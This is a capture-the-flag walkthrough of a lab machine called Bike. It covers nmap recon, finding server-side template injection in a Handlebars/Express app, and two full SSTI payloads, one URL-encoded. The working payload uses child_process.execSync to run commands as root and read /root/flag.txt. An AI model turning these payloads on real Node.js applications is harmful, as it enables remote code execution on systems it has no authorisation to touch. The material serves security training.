Target IP Address: 10.129.23.248
Tasks
- What TCP ports does nmap identify as open? Answer with a list of ports seperated by commas with no spaces, from low to high. Ans:
22, 80
Initial Recon
└──╼ [★]$ nmap -sC -sV -p- -oN initial_recon.txt 10.129.23.248 -v -T4 --min-rate 5000Result:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
...
80/tcp open http Node.js (Express middleware)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Bike
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel- What software is running the service listening on the http/web port identified in the first question? Ans:
Node.js
Answer: Node.js
- What is the name of the Web Framework according to Wappalyzer? Ans:
Express

- What is the name of the vulnerability we test for by submitting
{{7*7}}? Ans:Server Side Template Injection
Output:
What is the templating engine being used within Node.JS?
- Based on the output of testing SSTI and searching,
Handlebarsis a templating engine
- Based on the output of testing SSTI and searching,
What is the name of the
BurpSuitetab used to encode text? Ans:Decoder

- In order to send special characters in our payload in an HTTP request, we’ll encode the payload. What type of encoding do we use? Ans:
URL

Answer: URL
- When we use a payload from
HackTricksto try to run system commands, we get an error back. What is “not defined” in the response error? Ans:Require
- First, go to HackTricks for pentesting SSTI
- The following code are to be sent via URL encoded:
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}URL Encoded will be:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7DSite thrown an error:

- What variable is the name of the top-level scope in Node.JS? Ans:
global

Explanation:
The error require is not defined indicates that you are likely attacking a Handlebars (Node.js) environment where the Global Environment or the require function is restricted or not directly accessible within the template’s context.
Modern Handlebars implementations, especially those used in secure web applications or specific versions used in HTB (like in the “Templated” or “Unified” challenges), often run in a “secure” sandbox or simply don’t have the require helper registered by default.
In Node.js, require is a global-like variable, but it isn’t always available inside a template’s scope. If the developer didn’t explicitly pass require into the template context, or if the template engine is running in a limited execution environment, the call to require('child_process') will throw a ReferenceError.
- By exploiting this
vulnerability, we get command execution as the user that thewebserveris running as. What is the name of that user? Ans:root
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').execSync('whoami').toString();"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}Response:
Getting root flag
Finding flag.txt
- First, change the
{{this.push "return process.mainModule.require('child_process').execSync('whoami').toString();"}}snippet of payload to{{this.push "return process.mainModule.require('child_process').execSync('find / -name flag.txt').toString();"}}

- Now,
catthe flag by changing theexecSynctoexecSync('cat /root/flag.txt')
The flag.txt:

